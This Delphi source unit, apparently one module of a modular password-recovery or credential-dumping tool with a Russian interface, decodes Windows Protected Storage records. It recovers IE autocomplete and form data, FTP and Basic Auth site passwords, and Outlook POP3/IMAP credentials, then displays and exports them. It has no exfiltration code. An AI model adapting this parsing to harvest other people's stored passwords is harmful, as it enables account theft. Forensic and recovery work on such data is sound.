unit Mod_PStorage;

interface

uses
  Windows, Classes, Mod_Common, SysUtils, xBase;

type
  TOutClient = (OUT_EXPRESS, OUT_OUTLOOK2002);
  POutlookItem = ^TOutlookItem;
  TOutlookItem = record
    OutClient: TOutClient;
    Email: String;
    UserPOP3: String;
    UserIMAP: String;
    PasswordPOP3: String;
    PasswordIMAP: String;
    ServerPOP3: String;
    ServerIMAP: String;
  end;

  PAutoVarItem = ^TAutoVarItem;
  TAutoVarItem = record
    Val: String;
    Date: TDateTime;
  end;

  PAutoItem = ^TAutoItem;
  TAutoItem = record
    Name: String;
    Vars: TList;
  end;

  PSiteItem = ^TSiteItem;
  TSiteItem = record
    Name: String;
    Vars: String;
  end;

  TModulePStorage = class(TModule)
  private
    function ModTimeToStr(Time: TDateTime): String;
    procedure FreeAutoList;
    procedure FreeSiteList;
    procedure FreeOutList;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;
  public
    AutoList: TList;
    SiteList: TList;
    OutList: TList;
    
    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;        
  end;

implementation

type
  PPSIndex_Header = ^TPSIndex_Header;
  TPSIndex_Header = packed record
    ident: LongWord; // WICK
    index_size: LongWord;
    strings_num: LongWord;
    flags: Int64;
    align: LongWord; // Unused
  end;

  PPSIndex_Item = ^TPSIndex_Item;
  TPSIndex_Item = packed record
    offset: LongWord;
    last_submitted: FILETIME;
    string_len: LongWord;
  end;

const
  TYPE_PS_AUTO		= 0;
  TYPE_PS_SITE		= 1;
  TYPE_PS_OUTLOOK	= 2;
  TYPE_PS_OUT_DATA	= 3;
  SUBTYPE_PS_NAME	= 0;
  SUBTYPE_PS_DATA	= 1;
  SUBTYPE_OUT_BEGIN     = 0;
  SUBTYPE_OUT_DATA      = 1;
  SUBTYPE_OUT_NAME      = 2;
  SUBTYPE_OUT_END       = 3;
  PS_WICK: LongWord     = $4B434957;
  PS_INV_DATE: TDateTime = -109205;

{ TModulePStorage }

destructor TModulePStorage.Destroy;
begin
  FreeAutoList;
  FreeSiteList;
  FreeOutList;
  inherited;
end;

procedure TModulePStorage.FreeAutoList;
var
  i, j: Integer;
begin
  if AutoList = nil then Exit;
  for i := 0 to AutoList.Count-1 do begin
    PAutoItem(AutoList.Items[i]).Name := '';
    for j := 0 to PAutoItem(AutoList.Items[i]).Vars.Count-1 do begin
      PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Val := '';
      Dispose(PAutoItem(AutoList.Items[i]).Vars.Items[j]);
    end;
    PAutoItem(AutoList.Items[i]).Vars.Free;
    Dispose(AutoList.Items[i]);
  end;
  AutoList.Free;
end;

procedure TModulePStorage.FreeSiteList;
var
  i: Integer;
begin
  if SiteList = nil then Exit;

  for i := 0 to SiteList.Count-1 do begin
    PSiteItem(SiteList.Items[i]).Name := '';
    PSiteItem(SiteList.Items[i]).Vars := '';
    Dispose(SiteList.Items[i]);
  end;
  SiteList.Free;
end;

procedure TModulePStorage.FreeOutList;
var
  i: Integer;
begin
  if OutList = nil then Exit;

  for i := 0 to OutList.Count-1 do begin
    with POutlookItem(OutList.Items[i])^ do begin
      Email := '';
      UserPOP3 := '';
      UserIMAP := '';
      PasswordPOP3 := '';
      PasswordIMAP := '';
      ServerPOP3 := '';
      ServerIMAP := '';
    end;
    Dispose(OutList.Items[i]);
  end;
  OutList.Free;
end;

procedure TModulePStorage.Run;
var
  PAuto: PAutoItem;
  
  function CheckPSIndex(Data: Pointer; DataLen: LongWord): Boolean;
  var
    P: PPSIndex_Header;
  begin
    Result := False;
    if DataLen <= SizeOf(TPSIndex_Header) then Exit; // There's always at least one string indexed
    P := Data;
    if P.ident <> PS_WICK then Exit;
    if P.strings_num * SizeOf(TPSIndex_Item) + SizeOf(TPSIndex_Header) <> DataLen then Exit;
    Result := True;
  end;

  procedure ProcessStr(const S: String; Date: TDateTime);
  var
    PAutoVar: PAutoVarItem;
  begin
    New(PAutoVar);
    PAuto.Vars.Add(PAutoVar);
    PAutoVar.Val := S;
    PAutoVar.Date := Date;
  end;

  function ReadPSData(Data: Pointer; DataLen: LongWord; Index: Pointer): Boolean;
  var
    i, str_num: Integer;
    str_len, str_offs: LongWord;
    str_time: FILETIME;
    str_sys_time: SYSTEMTIME;
  begin
    Result := False;
    str_num := PPSIndex_Header(Index).strings_num;
    Index := Pointer(LongWord(Index) + SizeOf(TPSIndex_Header));
    for i := 0 to str_num-1 do begin
      str_len := PPSIndex_Item(Index).string_len;
      str_offs := PPSIndex_Item(Index).offset;
      str_time := PPSIndex_Item(Index).last_submitted;
      if str_offs + str_len * 2 + 2 > DataLen then Exit;

      // str_time can be null if string is empty
      FileTimeToSystemTime(str_time, str_sys_time);
      ProcessStr(WideCharLenToString(Pointer(LongWord(Data)+str_offs), str_len), SystemTimeToDateTime(str_sys_time));

      Index := Pointer(LongWord(Index) + SizeOf(TPSIndex_Item));
    end;

    Result := True;
  end;

  function PTextToString(const Text: String): String;
  begin
    if IsTextUnicode(@Text[1], Length(Text), nil) then
      Result := String(PWideChar(@Text[1]))
    else
      Result := String(PChar(@Text[1]));
  end;

var
  DataItem: TDataItem;

  A: array[0..3] of String;
  j, k, t: Integer;

  P: PSiteItem;
  P2: POutlookItem;

  OutIDList: TStringList;
  OutName: String;

begin
  inherited;

  j := 0; k := 0; t := 0; AutoList := TList.Create;
  SiteList := TList.Create;
  OutIDList := TStringList.Create;
  OutList := TList.Create;
  P2 := nil; OutName := '';

  while HasMoreData do begin
    DataItem := ReadData;
    case DataItem.cType of
      // Autocomplete & forms
      TYPE_PS_AUTO: begin
        case DataItem.cSubtype of
          SUBTYPE_PS_NAME: A[j] := WideCharToString(@DataItem.Data[1]);
          SUBTYPE_PS_DATA: A[j] := DataItem.Data;
        else begin
            FError := ERR_UNK_ITEM;
            OutIDList.Free;
            Exit;
          end;
        end;

        j := j + 1;
        if j = 4 then begin
          if (Pos(':StringData', A[0]) > 0) and (Pos(':StringIndex', A[2]) > 0) then begin
            if not CheckPSIndex(@A[3][1], Length(A[3])) then begin
              FError := ERR_MOD_INTERNAL;
              OutIDList.Free;
              Exit;
            end;

            New(PAuto); AutoList.Add(PAuto);
            PAuto.Vars := TList.Create;
            PAuto.Name := Copy(A[0], 1, Pos(':StringData', A[0])-1);
            if not ReadPSData(@A[1][1], Length(A[1]), @A[3][1]) then begin
              FError := ERR_MOD_INTERNAL;
              OutIDList.Free;              
              Exit;
            end;
          end;
          j := 0;
        end;
      end;
      // Protected sites & ftp
      TYPE_PS_SITE: begin
        case DataItem.cSubtype of
          SUBTYPE_PS_NAME: A[k] := WideCharToString(@DataItem.Data[1]);
          SUBTYPE_PS_DATA: A[k] := DataItem.Data;
        else begin
            FError := ERR_UNK_ITEM;
            OutIDList.Free;
            Exit;
          end;
        end;

        k := k + 1;
        if k = 2 then begin
          New(P); SiteList.Add(P); P.Name := A[0];
          if Pos('DPAPI: ', P.Name) > 0 then Delete(P.Name, 1, 7);
          P.Vars := PTextToString(A[1]);
          k := 0;
        end;
      end;
      // Outlook passwords
      TYPE_PS_OUTLOOK: begin
        case DataItem.cSubtype of
          SUBTYPE_PS_NAME: A[t] := WideCharToString(@DataItem.Data[1]);
          SUBTYPE_PS_DATA: A[t] := DataItem.Data;
        else begin
            FError := ERR_UNK_ITEM;
            OutIDList.Free;
            Exit;
          end;
        end;

        t := t + 1;
        if t = 2 then begin
          OutIDList.Values[A[0]] := PTextToString(A[1]);
          t := 0;
        end;
      end;
      // Outlook account info
      TYPE_PS_OUT_DATA:
        case DataItem.cSubtype of
          SUBTYPE_OUT_BEGIN: begin
            New(P2); OutList.Add(P2);
            P2.Email := '';
          end;
          SUBTYPE_OUT_NAME: begin
            OutName := DataItem.Data;
          end;
          SUBTYPE_OUT_DATA: if P2 <> nil then begin
            if (OutName = 'SMTP Email Address') or (OutName = 'Email') then begin
              P2.Email := PTextToString(DataItem.Data);
              if OutName = 'Email' then P2.OutClient := OUT_OUTLOOK2002 else P2.OutClient := OUT_EXPRESS;
            end else if (OutName = 'IMAP Server') then
              P2.ServerIMAP := PTextToString(DataItem.Data)
            else if (OutName = 'POP3 Server') then
              P2.ServerPOP3 := PTextToString(DataItem.Data)
            else if (OutName = 'POP3 Password') or (OutName = 'POP3 Password2') then begin
              if (OutName = 'POP3 Password2') then Delete(DataItem.Data, 1, 2) else Delete(DataItem.Data, 1, 1);
              P2.PasswordPOP3 := PTextToString(OutIDList.Values[String(PWideChar(@DataItem.Data[1]))]);
            end else
            if (OutName = 'IMAP Password') or (OutName = 'IMAP Password2') then begin
              if (OutName = 'IMAP Password2') then Delete(DataItem.Data, 1, 2) else Delete(DataItem.Data, 1, 1);
              P2.PasswordIMAP := PTextToString(OutIDList.Values[String(PWideChar(@DataItem.Data[1]))]);
            end else
            if (OutName = 'IMAP User') or (OutName = 'IMAP User Name') then
              P2.UserIMAP := PTextToString(DataItem.Data)
            else if (OutName = 'POP3 User') or (OutName = 'POP3 User Name') then
              P2.UserPOP3 := PTextToString(DataItem.Data)
            else begin
              FError := ERR_UNK_ITEM;
              OutIDList.Free;
              Exit;
            end;
          end;
          SUBTYPE_OUT_END: if P2 <> nil then begin
            if (P2.Email = '') and (P2.UserPOP3 = '') and (P2.UserIMAP = '') and (P2.PasswordPOP3 = '') and (P2.PasswordIMAP = '') and
               (P2.ServerPOP3 = '') and (P2.ServerIMAP = '') then begin
                 OutList.Remove(P2);
                 Dispose(P2); P2 := nil;
               end;
          end;
        else begin
            FError := ERR_UNK_ITEM;
            OutIDList.Free;
            Exit;
          end;
        end;
      else begin
        FError := ERR_UNK_ITEM;
        OutIDList.Free;
        Exit;
      end;
    end;
  end;
end;

function TModulePStorage.ModTimeToStr(Time: TDateTime): String;
begin
  if Time = PS_INV_DATE then Result := 'Unknown' else Result := DateTimeToStr(Time);
end;

function TModulePStorage.GetAsText: String;
var
  i, j: Integer;

begin
  Result := '';
  
  for i := 0 to AutoList.Count-1 do begin
    if Pos('http://', PAutoItem(AutoList.Items[i]).Name) > 0 then begin
      Result := Result + 'FormItem' + IntToStr(i) + ': ' + PAutoItem(AutoList.Items[i]).Name + #13#10 + '         ';
      for j := 0 to PAutoItem(AutoList.Items[i]).Vars.Count-1 do begin
        Result := Result + PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Val;
        if Odd(j) then Result := Result + ' (Modified: ' + ModTimeToStr(PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Date) + ')' + #13#10 + '         ' else Result := Result + ':';
      end;
    end else begin
      Result := Result + 'AutoItem' + IntToStr(i) + ': ' + PAutoItem(AutoList.Items[i]).Name + #13#10 + '         ';
      for j := 0 to PAutoItem(AutoList.Items[i]).Vars.Count-1 do
        Result := Result + PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Val + ' (Modified: ' + ModTimeToStr(PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Date) + ')' + #13#10 + '         ';
    end;
    Result := Result + #13#10;
  end;

  Result := Result + #13#10;

  for i := 0 to SiteList.Count-1 do begin
    if (Pos('ftp://', PSiteItem(SiteList.Items[i]).Name) > 0) or (Pos('PSAPI: ', PSiteItem(SiteList.Items[i]).Name) > 0) then begin
      Result := Result + 'FTPItem' + IntToStr(i) + ': ' + PSiteItem(SiteList.Items[i]).Name + #13#10 + '         ';
      Result := Result + PSiteItem(SiteList.Items[i]).Vars + #13#10;
    end else begin
      Result := Result + 'SiteItem' + IntToStr(i) + ': ' + PSiteItem(SiteList.Items[i]).Name + #13#10 + '         ';
      Result := Result + PSiteItem(SiteList.Items[i]).Vars + #13#10;
    end;
  end;

  Result := Result + #13#10;

  for i := 0 to OutList.Count-1 do begin
    Result := Result + 'Outlook' + #13#10;
    Result := Result + '              Email: ' + POutlookItem(OutList.Items[i]).Email + #13#10;
    Result := Result + '              POP3 User: ' + POutlookItem(OutList.Items[i]).UserPOP3 + #13#10;
    Result := Result + '              POP3 Pass: ' + POutlookItem(OutList.Items[i]).PasswordPOP3 + #13#10;
    Result := Result + '              POP3 Serv: ' + POutlookItem(OutList.Items[i]).ServerPOP3 + #13#10;
    Result := Result + '              IMAP User: ' + POutlookItem(OutList.Items[i]).UserIMAP + #13#10;
    Result := Result + '              IMAP Pass: ' + POutlookItem(OutList.Items[i]).PasswordIMAP + #13#10;
    Result := Result + '              IMAP Serv: ' + POutlookItem(OutList.Items[i]).ServerIMAP + #13#10;

    Result := Result + #13#10;
  end;
end;

procedure TModulePStorage.GetAsTree;
var
  i, j: Integer;
  S1, S2: String;
begin
  Append(ModuleName, 'Этот модуль содержит пароли из защищенного хранилища Windows: Outlook, IE, FTP', ICON_FOLDER);
  MoveIn;

  Append('Outlook', '', ICON_FOLDER);
  MoveIn;
  for i := 0 to OutList.Count-1 do
    if POutlookItem(OutList.Items[i]).OutClient = OUT_OUTLOOK2002 then
      Append(POutlookItem(OutList.Items[i]).Email, GenHTMLList([
        'Email: ' + POutlookItem(OutList.Items[i]).Email,
        'POP3 пользователь: ' + POutlookItem(OutList.Items[i]).UserPOP3,
        'POP3 пароль: ' + POutlookItem(OutList.Items[i]).PasswordPOP3,
        'POP3 сервер: ' + POutlookItem(OutList.Items[i]).ServerPOP3,
        'IMAP пользователь: ' + POutlookItem(OutList.Items[i]).UserIMAP,
        'IMAP пароль: ' + POutlookItem(OutList.Items[i]).PasswordIMAP,
        'IMAP сервер: ' + POutlookItem(OutList.Items[i]).ServerIMAP]), ICON_OUTLOOK);
  MoveOut;

  Append('Outlook Express', '', ICON_FOLDER);
  MoveIn;
  for i := 0 to OutList.Count-1 do
    if POutlookItem(OutList.Items[i]).OutClient = OUT_EXPRESS then
      Append(POutlookItem(OutList.Items[i]).Email, GenHTMLList([
        'Email: ' + POutlookItem(OutList.Items[i]).Email,
        'POP3 пользователь: ' + POutlookItem(OutList.Items[i]).UserPOP3,
        'POP3 пароль: ' + POutlookItem(OutList.Items[i]).PasswordPOP3,
        'POP3 сервер: ' + POutlookItem(OutList.Items[i]).ServerPOP3,
        'IMAP пользователь: ' + POutlookItem(OutList.Items[i]).UserIMAP,
        'IMAP пароль: ' + POutlookItem(OutList.Items[i]).PasswordIMAP,
        'IMAP сервер: ' + POutlookItem(OutList.Items[i]).ServerIMAP]), ICON_OUTLOOK);
  MoveOut;

  Append('FTP', '', ICON_FOLDER);
  MoveIn;
  for i := 0 to SiteList.Count-1 do
    if (Pos('ftp://', PSiteItem(SiteList.Items[i]).Name) > 0) or (Pos('PSAPI: ', PSiteItem(SiteList.Items[i]).Name) > 0) then
      Append(PSiteItem(SiteList.Items[i]).Name, GenHTMLList(['Хост: ' + PSiteItem(SiteList.Items[i]).Name, 'Пароль: ' + PSiteItem(SiteList.Items[i]).Vars]), ICON_PS_FTP);
  MoveOut;

  Append('Сайты', 'Сохраненные пароли к сайтам (Basic Auth)', ICON_FOLDER);
  MoveIn;
  for i := 0 to SiteList.Count-1 do
    if not ((Pos('ftp://', PSiteItem(SiteList.Items[i]).Name) > 0) or (Pos('PSAPI: ', PSiteItem(SiteList.Items[i]).Name) > 0)) then begin
      j := Pos(':', PSiteItem(SiteList.Items[i]).Vars);
      S1 := Copy(PSiteItem(SiteList.Items[i]).Vars, 1, j-1);
      S2 := Copy(PSiteItem(SiteList.Items[i]).Vars, j+1, Length(PSiteItem(SiteList.Items[i]).Vars)-j);
      Append(PSiteItem(SiteList.Items[i]).Name, GenHTMLList(['Хост: ' + PSiteItem(SiteList.Items[i]).Name, 'Пользователь: ' + S1, 'Пароль: ' + S2]), ICON_PS_SITES);
    end;
  MoveOut;

  Append('Сохраненные формы', '', ICON_FOLDER);
  MoveIn;
  for i := 0 to AutoList.Count-1 do begin
    if Pos('http://', PAutoItem(AutoList.Items[i]).Name) > 0 then begin
      S1 := '<ul><li>';
      for j := 0 to PAutoItem(AutoList.Items[i]).Vars.Count-1 do begin
        S1 := S1 + HTMLSafe(PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Val);
        if Odd(j) then S1 := S1 + ' (Модификация: ' + ModTimeToStr(PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Date) + ')<li>' else S1 := S1 + ':';
      end;
      if Copy(S1, Length(S1)-3, 4) = '<li>' then
        Delete(S1, Length(S1)-3, 4);
      S1 := S1 + '</ul>';
      Append(PAutoItem(AutoList.Items[i]).Name, S1, ICON_PS_FORMS);
    end;
  end;
  MoveOut;

  S1 := '';
  for i := 0 to AutoList.Count-1 do begin
    if Pos('http://', PAutoItem(AutoList.Items[i]).Name) = 0 then begin
      S1 := S1 + 'Имя: ' + HTMLSafe(PAutoItem(AutoList.Items[i]).Name) + '<br>Значения:<ul><li>';
      for j := 0 to PAutoItem(AutoList.Items[i]).Vars.Count-1 do
        S1 := S1 + HTMLSafe(PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Val) + ' (Модификация: ' + ModTimeToStr(PAutoVarItem(PAutoItem(AutoList.Items[i]).Vars.Items[j]).Date) + ')<li>';
      if Copy(S1, Length(S1)-3, 4) = '<li>' then
        Delete(S1, Length(S1)-3, 4);
      S1 := S1 + '</ul><hr>';
    end;
  end;
  Append('Автозаполнение', S1, ICON_IE);

  MoveOut;
end;

class function TModulePStorage.GetModuleName: String;
begin
  Result := 'Protected Storage';
end;

class function TModulePStorage.GetModuleID: Integer;
begin
  Result := MODULE_PSTORAGE;
end;

class function TModulePStorage.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModulePStorage.GetIsEmpty: Boolean;
begin
  Result := (AutoList.Count = 0) and (SiteList.Count = 0) and (OutList.Count = 0);
end;

procedure TModulePStorage.ExportModule(DBStream: TMemoryStream);
var
  i, j: Integer;
begin
  inherited;

  // AutoComplete
  ExportData([AutoList.Count]);
  for i := 0 to AutoList.Count-1 do
    with PAutoItem(AutoList.Items[i])^ do begin
      ExportData([Name]);
      ExportData([Vars.Count]);
      for j := 0 to Vars.Count-1 do
        with PAutoVarItem(Vars.Items[j])^ do
          ExportData([Val, Date]);
    end;

  // Sites
  ExportData([SiteList.Count]);
  for i := 0 to SiteList.Count-1 do
    with PSiteItem(SiteList.Items[i])^ do
      ExportData([Name, Vars]);

  // Outlook
  ExportData([OutList.Count]);
  for i := 0 to OutList.Count-1 do
    with POutlookItem(OutList.Items[i])^ do
      ExportData([Integer(OutClient), Email, UserPOP3, UserIMAP, PasswordPOP3, PasswordIMAP, ServerPOP3, ServerIMAP]);
end;

procedure TModulePStorage.ImportModule(DBStream: TMemoryStream);
var
  i, j: Integer;
  P: PAutoItem;
  P2: PAutoVarItem;
  P3: PSiteItem;
  P4: POutlookItem;
begin
  inherited;

  AutoList := TList.Create;
  for i := 0 to ImportData-1 do begin
    New(P); AutoList.Add(P);
    P^.Name := ImportData;
    P^.Vars := TList.Create;
    for j := 0 to ImportData-1 do begin
      New(P2); P^.Vars.Add(P2);
      with P2^ do begin
        Val := ImportData;
        Date := ImportData;
      end;
    end;
  end;

  SiteList := TList.Create;
  for i := 0 to ImportData-1 do begin
    New(P3); SiteList.Add(P3);
    with P3^ do begin
      Name := ImportData;
      Vars := ImportData;
    end;
  end;

  OutList := TList.Create;
  for i := 0 to ImportData-1 do begin
    New(P4); OutList.Add(P4);
    with P4^ do begin
      OutClient := ImportData;
      Email := ImportData;
      UserPOP3 := ImportData;
      UserIMAP := ImportData;
      PasswordPOP3 := ImportData;
      PasswordIMAP := ImportData;
      ServerPOP3 := ImportData;
      ServerIMAP := ImportData;
    end;
  end;
end;

end.
